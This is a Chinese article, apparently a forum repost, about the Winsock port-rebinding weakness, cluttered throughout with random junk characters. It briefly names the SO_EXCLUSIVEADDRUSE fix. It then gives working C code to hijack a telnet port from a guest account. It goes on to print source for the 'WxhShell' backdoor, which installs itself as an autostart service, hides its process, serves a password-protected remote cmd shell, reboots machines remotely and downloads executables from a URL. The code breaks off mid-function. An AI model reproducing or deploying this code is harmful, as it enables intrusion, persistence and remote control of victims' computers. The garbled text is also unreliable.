在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
RVeEkv[qp s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
v%ioj0, 3N_"rNKD saddr.sin_family = AF_INET;
Bp@v,)8* a+Ac[> saddr.sin_addr.s_addr = htonl(INADDR_ANY);
: >>@rF , -+O
9<3ly bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
`:axzCrCfR \m1~jMz*>k 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
u,6~qQczE rylzcN9RM$ 这意味着什么?意味着可以进行如下的攻击:
FHV-BuH5 ^+g$iM[`f 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
$1v&azM. J(6oL 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
i'\T R|qd u7=U^}# 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
[}&Sxgv >KJ+-QuO& 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
) Yd?m0m* r\/+Oa' 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
M|Rb&6O x*/S*!vx\ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
oJfr +3I F;]%V%F.X 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
-a-(r'Qc( [Jv@J\ #include
=%/)m:f!^ #include
YIjTL!bA" #include
nvPwngEQm #include
q`r**N+zn DWORD WINAPI ClientThread(LPVOID lpParam);
l'eyq}& int main()
6R^^ .tCs {
8-O)Xx}cU WORD wVersionRequested;
LGtIm7 DWORD ret;
k1!@^A WSADATA wsaData;
Sy
'Dp9!| BOOL val;
o>VVsH SOCKADDR_IN saddr;
G["c\Xux SOCKADDR_IN scaddr;
ZMq6/G*fD int err;
s)pbS}L SOCKET s;
Sm5H_m! SOCKET sc;
' MxrQ;|S int caddsize;
vuYSVI2=H HANDLE mt;
O6OP =K!t: DWORD tid;
F|!){=
wVersionRequested = MAKEWORD( 2, 2 );
1@-Ns err = WSAStartup( wVersionRequested, &wsaData );
<%"b9T`' if ( err != 0 ) {
hq #?kN printf("error!WSAStartup failed!\n");
?F3h)(} return -1;
G
nG>7f[v }
qo|WXwP2 saddr.sin_family = AF_INET;
=y-@AU8 $b mLu=9 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
,KFapz! (I./ Uu% saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
}1upi=+aE saddr.sin_port = htons(23);
1aTB%F if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
:*KHx|Q {
`V04\05 printf("error!socket failed!\n");
^cuc.g)c$? return -1;
d}4Y( }
(}2~<
val = TRUE;
% S os //SO_REUSEADDR选项就是可以实现端口重绑定的
<q@a~'Ai?! if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
sL$:"= {
)<tI!I][j printf("error!setsockopt failed!\n");
S@/IQR return -1;
a5TioQ }
i ,/0/?)*_ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
NN?`"Fww //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
gp\<p-} //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
.~7FyLl$ ?)ONf#4Y if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
:Cj OPl
{
(R("H/6xs ret=GetLastError();
53n^3M,qK printf("error!bind failed!\n");
U3dwI:cG return -1;
K>@+m }
A nX%[W " listen(s,2);
e(<str> while(1)
[wzb<"kW {
s|y "WDyx5 caddsize = sizeof(scaddr);
ZG&>:Si; //接受连接请求
mmk=97 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
#iHs*
/85 if(sc!=INVALID_SOCKET)
O[ef#R! {
TJR:vr mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
fNW"+ <W if(mt==NULL)
(O(}p~s {
jr:7?8cH0L printf("Thread Creat Failed!\n");
_y}
T/I9 break;
bl&nhI)w }
P&^;656r }
wLnf@&jQ% CloseHandle(mt);
9eQxit7 }
dx@-/^. closesocket(s);
m()RU"WY WSACleanup();
m0a?LY return 0;
(bH`x]h# }
gq'Y!BBQy DWORD WINAPI ClientThread(LPVOID lpParam)
#ZrHsfP {
) iN/ua SOCKET ss = (SOCKET)lpParam;
>E{";C) SOCKET sc;
DBr
ZzA unsigned char buf[4096];
KJaXg;,H SOCKADDR_IN saddr;
yj.7'{mA long num;
7E79-r&n DWORD val;
~yW4)4k;b DWORD ret;
%/zbgS` //如果是隐藏端口应用的话,可以在此处加一些判断
}%{LJ}\Px //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
=V-|#j saddr.sin_family = AF_INET;
TI,&!E?; saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
FwkuC09tI saddr.sin_port = htons(23);
HOJs[mqB% if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
`3WFjU5a {
^<a
t'jk6 printf("error!socket failed!\n");
gL*>[@RO return -1;
_8F`cuyW }
q%"VYt4 val = 100;
st:`y=F_ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
os:A] {
S p;G'*g ret = GetLastError();
Vg>dI&O return -1;
]rH\`0 }
MS
81sN\d if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
8h*Icf {
'R'*kxf ret = GetLastError();
L"1}V return -1;
/)}q Xx& }
($; 77fPR if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
`-J%pEIza {
ZJzt~
H printf("error!socket connect failed!\n");
L>aLqQ3 closesocket(sc);
_4U5 closesocket(ss);
?kH8Lw~{5W return -1;
Z8@J`0x }
L(|N[# while(1)
c]n1':FT" {
7'W%blg!V //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
{byBcG //如果是嗅探内容的话,可以再此处进行内容分析和记录
J$GUB3
G //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
1VG4S){}\9 num = recv(ss,buf,4096,0);
Uyg5i[&X@ if(num>0)
aJbO((%$|u send(sc,buf,num,0);
~-_kM else if(num==0)
Gi?/C&1T break;
V)~.~2$ num = recv(sc,buf,4096,0);
QSdHm if(num>0)
v4`"1Ss,K send(ss,buf,num,0);
0zlb0[ else if(num==0)
g"p%C:NN break;
4~Vx3gEV: }
=JK@z closesocket(ss);
%,}A@H, closesocket(sc);
8QLj[" return 0 ;
pz\
+U7 }
IoQEtA z<U-#k7nz ORHp$Un~) ==========================================================
?mFv0_!O "4+&-ms 下边附上一个代码,,WXhSHELL
_VRpI)mu Vt %bI0# ==========================================================
5HkKurab 5
ZGNz1)?V #include "stdafx.h"
jjw`Dto& Dwr)0nk #include <stdio.h>
F;4vPbH+ #include <string.h>
)U7t #include <windows.h>
;=eDO(Ij #include <winsock2.h>
dJeNbVd #include <winsvc.h>
~J wb`g. #include <urlmon.h>
RKHyw08 &5fJPv & #pragma comment (lib, "Ws2_32.lib")
c'>/ #pragma comment (lib, "urlmon.lib")
f_jo+z{-ik >z{d0{\ #define MAX_USER 100 // 最大客户端连接数
PV'x+bN5 #define BUF_SOCK 200 // sock buffer
4sF"6+%5d #define KEY_BUFF 255 // 输入 buffer
5cL83FQh 4o
<Uy #define REBOOT 0 // 重启
u~7hWiY<2 #define SHUTDOWN 1 // 关机
H]{v;;'~ C*)3e*T* #define DEF_PORT 5000 // 监听端口
GP!?^r:en ^84G%)`& #define REG_LEN 16 // 注册表键长度
rb5~XnJk #define SVC_LEN 80 // NT服务名长度
EUD~CZhS"k ,
pDnRRJ! // 从dll定义API
%p^wZtm typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
8=B|C'> typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
M -cTRd-i typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
ww\CQ6/h typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
l&OKBUG [842&5Pd? // wxhshell配置信息
h)ECf?r< struct WSCFG {
QRc{vUR& int ws_port; // 监听端口
w28o}$b` char ws_passstr[REG_LEN]; // 口令
@=bLDTx;c) int ws_autoins; // 安装标记, 1=yes 0=no
Q('r<v96 char ws_regname[REG_LEN]; // 注册表键名
`5cKA;j>b char ws_svcname[REG_LEN]; // 服务名
&S{RGXj_ char ws_svcdisp[SVC_LEN]; // 服务显示名
>kj`7GA char ws_svcdesc[SVC_LEN]; // 服务描述信息
qON|4+~u% char ws_passmsg[SVC_LEN]; // 密码输入提示信息
R&8Iz
yM int ws_downexe; // 下载执行标记, 1=yes 0=no
H[s(e56z char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
8ndYV>{f char ws_filenam[SVC_LEN]; // 下载后保存的文件名
BZ94NOOdw fxgPhnaC> };
YSr9VpqWV Xb:;</ // default Wxhshell configuration
c]x1HvPE struct WSCFG wscfg={DEF_PORT,
jSD#X3qp "xuhuanlingzhe",
aktU$Wbwl 1,
[-65PC4aN "Wxhshell",
Y_;#UU689 "Wxhshell",
tvkb~ "WxhShell Service",
B6u/mo< "Wrsky Windows CmdShell Service",
\rx3aJl "Please Input Your Password: ",
*xx'@e|<; 1,
X[*<NN "
http://www.wrsky.com/wxhshell.exe",
0Is,*Srr "Wxhshell.exe"
a]JYDq`,3 };
BWeA@v [pC$+NX // 消息定义模块
3c#BKHNC char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
%+@O#P char *msg_ws_prompt="\n\r? for help\n\r#>";
ypbe!Y<i] char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
m!|kW{B#A char *msg_ws_ext="\n\rExit.";
5L+>ewl char *msg_ws_end="\n\rQuit.";
oRm L
{UDZ char *msg_ws_boot="\n\rReboot...";
0LPig[ char *msg_ws_poff="\n\rShutdown...";
3QV *% char *msg_ws_down="\n\rSave to ";
nHnK)9\ N A;;fACF8e char *msg_ws_err="\n\rErr!";
ciFmaM. char *msg_ws_ok="\n\rOK!";
q!{y&.&\ 35Ij
..z0 char ExeFile[MAX_PATH];
54gBJEhg int nUser = 0;
1Ce@*XBU HANDLE handles[MAX_USER];
yQ_B)b int OsIsNt;
&vo--V1| <":;+Ng+ SERVICE_STATUS serviceStatus;
dbwe?ksh SERVICE_STATUS_HANDLE hServiceStatusHandle;
qW$<U3u} Ff$L| // 函数声明
AsQ)q int Install(void);
~+Rc}K int Uninstall(void);
R+2+-j4 int DownloadFile(char *sURL, SOCKET wsh);
y~Bh int Boot(int flag);
n&{Dq}q void HideProc(void);
{'XggI% int GetOsVer(void);
6.CbAi3Z
int Wxhshell(SOCKET wsl);
gQ o] void TalkWithClient(void *cs);
;\a
YlV- int CmdShell(SOCKET sock);
%7"q"A r[ int StartFromService(void);
TC@s
int StartWxhshell(LPSTR lpCmdLine);
Ee)T1~;W >QjAoDVX? VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
X}=n:Ql'YY VOID WINAPI NTServiceHandler( DWORD fdwControl );
^`*9QjY Y'c>:;JEe // 数据结构和表定义
=!kk|_0%E SERVICE_TABLE_ENTRY DispatchTable[] =
M`. tf_x {
!S^AgZ~ {wscfg.ws_svcname, NTServiceMain},
T m_bz&Q {NULL, NULL}
yWg@v+ };
T_s_p 1{r3#MVL // 自我安装
-(~.6WnhS int Install(void)
[="e
ziM{ {
h hG4-HD char svExeFile[MAX_PATH];
Lrta/SU* HKEY key;
cGtO
+DE strcpy(svExeFile,ExeFile);
ta35 K" DwaBdN[!7 // 如果是win9x系统,修改注册表设为自启动
OglEt[ " if(!OsIsNt) {
n)L* if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
X>d"]GD RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
Z8# (kmBdB RegCloseKey(key);
1e(E:_t if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
P?8GV%0$ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
H;?{BV RegCloseKey(key);
'{a/2
l return 0;
)LdP5z- }
%@wJ`F2a_ }
{E
p0TVj` }
A'j;\
`1 else {
52SaKA[ cWEE% // 如果是NT以上系统,安装为系统服务
a;rdQ> SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
@>d*H75 if (schSCManager!=0)
W0y '5` {
KX!T8+Y SC_HANDLE schService = CreateService
QP@%(]f G (
%dRo^E1p schSCManager,
5\N(PL wscfg.ws_svcname,
iWei wscfg.ws_svcdisp,
NV)!7~r}: SERVICE_ALL_ACCESS,
`{eyvW[Ks SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
SHvq.lYJ SERVICE_AUTO_START,
Wl;.%.]> SERVICE_ERROR_NORMAL,
0@yXi svExeFile,
b o0^3]Z NULL,
g$7{-OpB NULL,
!;EjB*& NULL,
Fgk ajig NULL,
[OjF[1I)u NULL
?5U2D%t );
+EFgE1w if (schService!=0)
g'pK {
9:fOYT$8 CloseServiceHandle(schService);
B.wYHNNV CloseServiceHandle(schSCManager);
*meZ8DV2DH strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
c;%_EN% strcat(svExeFile,wscfg.ws_svcname);
wmk
*h- if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
>NqYyW,% RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
N/]o4o RegCloseKey(key);
;KOLNi-B& return 0;
RSr
%n1 }
I[=j&rK` }
l/BLUl~z CloseServiceHandle(schSCManager);
)!Jc3%(B }
3 ,>0a }
pwO>h>ik CEXyrs< return 1;
3b*cU}go }
&Flglj~7l e8y;.D[2 // 自我卸载
~hZ"2$(0
int Uninstall(void)
d{rQzia"mV {
A3rPt&<a HKEY key;
IN4=YrM^ *n;!G8\ if(!OsIsNt) {
AcS|c:3MUy if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
O>qll6]{@ RegDeleteValue(key,wscfg.ws_regname);
`D>S;[~S7 RegCloseKey(key);
~Cl){8o if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
#OBJzf*p RegDeleteValue(key,wscfg.ws_regname);
F
;{n"3< RegCloseKey(key);
.EpV;xq} return 0;
Cnnh7` }
^:6{2 2C{ }
WxW7qt }
~;O v-^tp else {
3Th'p aMG 09dK0H3( SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
bQE};wM, if (schSCManager!=0)
?bPRxR {
/rg*p SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
]NjX?XdX< if (schService!=0)
O>SLOWgha {
f_[<L if(DeleteService(schService)!=0) {
q:l>O5 CloseServiceHandle(schService);
t/ +=|* CloseServiceHandle(schSCManager);
-0?~ return 0;
jL(qf~c_ }
:Nu^ CloseServiceHandle(schService);
c05TsMF&O }
-%2[2p CloseServiceHandle(schSCManager);
4/mig0"N. }
>^%7@i:@U }
aJYgzr, z)'M k[ return 1;
"vXxv'0\f }
Tg!i%v(-t xG}(5Tt // 从指定url下载文件
!O-T0O int DownloadFile(char *sURL, SOCKET wsh)
I'PeN0T
f {
F_Z- 8>P HRESULT hr;
;} und*q char seps[]= "/";
, 3,gG" char *token;
.^N/peUq char *file;
@[5xq char myURL[MAX_PATH];
Uh7v@YMC char myFILE[MAX_PATH];
=.y~f A! D<|qaHB= strcpy(myURL,sURL);
e"/;7:J5\ token=strtok(myURL,seps);
] x\-$~E while(token!=NULL)
+lJG(Qd {
p+l !6 file=token;
ElS 9?Q+ token=strtok(NULL,seps);
9[1`jtm }
3mYiQ2 gfsI6/Y GetCurrentDirectory(MAX_PATH,myFILE);
5V5%/FUm strcat(myFILE, "\\");
TftHwe):V strcat(myFILE, file);
L~(_x"uXd send(wsh,myFILE,strlen(myFILE),0);
|o,8V p send(wsh,"...",3,0);
+# GQ, hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
=g/{%; if(hr==S_OK)
kHXL8k#T return 0;
Mzsfo;kk+ else
=3q/F7- return 1;
jZh';M8" 7s"<
'cx_F }
VS9`{ 3BB%Z6F // 系统电源模块
D!.[q -< int Boot(int flag)
()K " c# {
dlJbI}-v= HANDLE hToken;
) _mr! z(S TOKEN_PRIVILEGES tkp;
@Gx.q&H 1c<=A!"{ if(OsIsNt) {
ZX5 xF<os8 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
cs T2B[f9D LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
$rz=6h tkp.PrivilegeCount = 1;
$Z|ffc1 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
F_Y7@Ei/ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
f` :i.Sr if(flag==REBOOT) {
/J04^6 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
_7IKzUn9g[ return 0;
XEn*?.e }
D<8HZ%o else {
AK\$i$@6 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
+|bmT return 0;
AgV G`q }
>y.%xK }
(WK&^,zQn else {
[
j3&/ if(flag==REBOOT) {
f@8>HCI if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
Vl_:c75" return 0;
*GxTX3i}vc }
]4h92\\965 else {
SV:4GVf if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
HHq_P/' return 0;
G2t;DN( }
*NkA8PC }
'rMN=1:iu" g)s{IAVx return 1;
BYs-V: }
c7tfRq
n+ zunV<2~(2} // win9x进程隐藏模块
B*4}GPQ void HideProc(void)
x%+aKZ(m) {
?_"+^R z j7sKsbb HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
0G7K8`a if ( hKernel != NULL )
u}!@ ,/) {
'd+NVj{C pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
MS0Fl|YA ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
dFH$l FreeLibrary(hKernel);
Fx5d:!]:$? }
kGdt1N[ 66.5QD0 return;
0j30LXI_ }
Lb;zBmwB N@O8\oQG // 获取操作系统版本
p"l3e9&'j int GetOsVer(void)
3l3+A+n {
%=?cZfFqO OSVERSIONINFO winfo;
pY_s*0_ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
_Qh
z3'I1 GetVersionEx(&winfo);
?T>'j mmV= if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
z;A>9vQ_J return 1;
Vs%|pIV else
QmLF[\Oo_ return 0;
.A-]_98Z }
6U[4%( }?z@rt^ // 客户端句柄模块
UlAzJO6" int Wxhshell(SOCKET wsl)
qZ}P*+`Q {
deM7fN4lTi SOCKET wsh;
aYuD>rD struct sockaddr_in client;
% z#f.Ql DWORD myID;
= M]iIWQ@` UB 6mqjPK while(nUser<MAX_USER)
K'X2dG* {
A5i :x$ww int nSize=sizeof(client);
~zSCg|"r wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
@+9<O0 if(wsh==INVALID_SOCKET) return 1;
%^1cyk ,WvY$_#xW% handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
<Q?a=4 if(handles[nUser]==0)
p/U+0f closesocket(wsh);
bYi`R) else
2RN)<\ P nUser++;
&Y
4F!Rb }
^5A
t?I8 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
:WSDf VX AX= 1b,s return 0;
3t<a $i }
Y`o+XimX Qb)C[5a} // 关闭 socket
HsnLm67' void CloseIt(SOCKET wsh)
br0++}vwL {
7\f\!e < closesocket(wsh);
Ee@4 %/v nUser--;
>nw++[K_ ExitThread(0);
n>A98NQ }
2Fz|fW_ VxY+h`4# // 客户端请求句柄
(y?ITz9 void TalkWithClient(void *cs)
=QK$0r]c'k {
wMdal:n^ GrTulN? SOCKET wsh=(SOCKET)cs;
`)T~psT char pwd[SVC_LEN];
es>W$QKlo char cmd[KEY_BUFF];
yv\#8I:qh char chr[1];
9*E7}b, int i,j;
txcf=)@>V :^Fh!br== while (nUser < MAX_USER) {
oyNSh8c7c C_4)=#@GU if(wscfg.ws_passstr) {
nK$X[KrV' if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
)u/H>;L P //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
2*N_5&9mE //ZeroMemory(pwd,KEY_BUFF);
OM|Fwr$ i=0;
.Wq@gV while(i<SVC_LEN) {
K"b`#xN(t ZR$'u%+g' // 设置超时
Yr w$ fd_set FdRead;
?W0)nQU struct timeval TimeOut;
qwK2WE%T FD_ZERO(&FdRead);
})B)-8 FD_SET(wsh,&FdRead);
\iFE,z TimeOut.tv_sec=8;
#p]On87> TimeOut.tv_usec=0;
(_* a4xGF int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
=LR UasF if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
{q^KlSjm DQSv'!KFO if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
T(6S~;,Z pwd
=chr[0]; I ;_.tG
if(chr[0]==0xd || chr[0]==0xa) { Nn$$yUkMX
pwd=0; 08Q:1 '
break; -?uwlpm#
} N|DY)W
i++; x{rt\OT
} bWqGypq4
QO8/?^d
// 如果是非法用户,关闭 socket
[7bY(
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); W6pS.}
} jV(ISD
M`(xAVl
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); sEoS[t|"
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -Jhf]
*)`:Nm~y
while(1) { `F)Iv:;y,
[f'7/w+
ZeroMemory(cmd,KEY_BUFF); =Zj9F1E[i
wdg[pt
/>
// 自动支持客户端 telnet标准 1||e!W
j=0; .}tL:^'~o
while(j<KEY_BUFF) { HV}NT~
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Y !`H_Qo
cmd[j]=chr[0]; ]C!u~A\jq
if(chr[0]==0xa || chr[0]==0xd) { 1yhx)m;f
cmd[j]=0; E_++yK^=
break; |A2.W8`o
} vjHbg#0 %
j++; pH4i6B*5
} q+K`+& @\
M?,;TJ7Gd
// 下载文件 ;,viE~n
if(strstr(cmd,"http://")) { :A[ Gtc(_
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 0xC!d-VIJ
if(DownloadFile(cmd,wsh)) dWI\VS 9
send(wsh,msg_ws_err,strlen(msg_ws_err),0); w(vf>L6(
else |PWLFiT(>
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Qwb@3{
} IcA]<}0!"v
else { h.67]U7m
4EOu)#
switch(cmd[0]) { k2xjcrg
&?~> I[^~
// 帮助 -/h$Yb
case '?': { , 7}Ri
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 4F'@yi^Gt
break; >6@UjGj54
} b&LhydaJ
// 安装 =/zQJzN
case 'i': { R)#"Ab Z'
if(Install()) _8bqk\m+
send(wsh,msg_ws_err,strlen(msg_ws_err),0); P?bdjU#_n`
else 5f1yszd
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Q[}mH: w
break; =14p Ee
} =~R0U
// 卸载 oL<^m?-u
case 'r': { &R 0BuFL8
if(Uninstall()) QII>XJ9
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5bgx;z9
else *`dGapd3
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [x@iqFO9
break; 9{+B lNZ
} ?f a/}|T
// 显示 wxhshell 所在路径 towQoqv
case 'p': { f5'+F-`N
char svExeFile[MAX_PATH]; #*~#t4S-
strcpy(svExeFile,"\n\r"); ^D!UF(H
strcat(svExeFile,ExeFile); r>
NgJf,
send(wsh,svExeFile,strlen(svExeFile),0); 0n5N-b?G-@
break; `AYHCn
} HIF.;ImG^
// 重启 }APf^Ry
case 'b': { ZVI.s U
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); PyIIdTm
if(Boot(REBOOT)) r l!c\
send(wsh,msg_ws_err,strlen(msg_ws_err),0); `DEz `
D
else { 3xeW!~
closesocket(wsh); zV%U4P)Dao
ExitThread(0); _m;Y'
} M*%iMz
break; 2 &R-zG
} ;hRo}
+\l
// 关机 [IiwpC
case 'd': {
~UXW
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); %h3CQk
if(Boot(SHUTDOWN)) !sUo+Y
send(wsh,msg_ws_err,strlen(msg_ws_err),0); S_C+1e
else { tM~R?9OaJ
closesocket(wsh); ,*Sj7qb#
ExitThread(0); y+@7k3"
} =T!M`
break; S?;&vs9j
} 9^ )=N=wV
// 获取shell #p0vrQ;5f
case 's': { I:[3x2H
CmdShell(wsh); {G_ZEo#x8,
closesocket(wsh); )
_"`{2
ExitThread(0); ]>&au8
break; Rs7=v2>I
} &d=j_9
// 退出 YMC*<wXN
case 'x': { |]^OX$d
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 4h?[NOA"
CloseIt(wsh); 9=Y-w s
break; EZao\,t
} (J5E]NV
// 离开 =ejkE;
%L
case 'q': { @"];\E$sI
send(wsh,msg_ws_end,strlen(msg_ws_end),0); vTN$SgzfCU
closesocket(wsh); 8IbHDDS
WSACleanup(); gTm[ <Y
exit(1); lkOugjI
break; `9%@{Ryo
} v-EcJj%
} 1%t9ic
} d XrLeoK
"\Z.YZUa\
// 提示信息 *RivZ
c9;P
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (;V6L{Rf>
} BA53
} |I6\_K.=L
WM~@/J
return; /{^Qup
} WL+I)n8~
pvD\E
// shell模块句柄 g&) XaF[!
int CmdShell(SOCKET sock) G)G5eXXX
{ UOi8>;k`
STARTUPINFO si; "}Vow^vb
ZeroMemory(&si,sizeof(si)); >d&B:
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; H9F\<5n]-l
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ymiOtA Z
PROCESS_INFORMATION ProcessInfo; ESft:3xyw
char cmdline[]="cmd"; ]:8:|*w
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); *v_+a:
return 0; :iP2e+j
} 'WUd7
Q!iM7C!8
// 自身启动模式 iG^o@*}a
int StartFromService(void) O'*KNJX
{ e3}`]
typedef struct V*"-@
{ QJ\
o"c
DWORD ExitStatus; mbK$_HvU
DWORD PebBaseAddress; k|'{$/n
DWORD AffinityMask; ~*@UQ9*p#
DWORD BasePriority; >/9f>d?w^
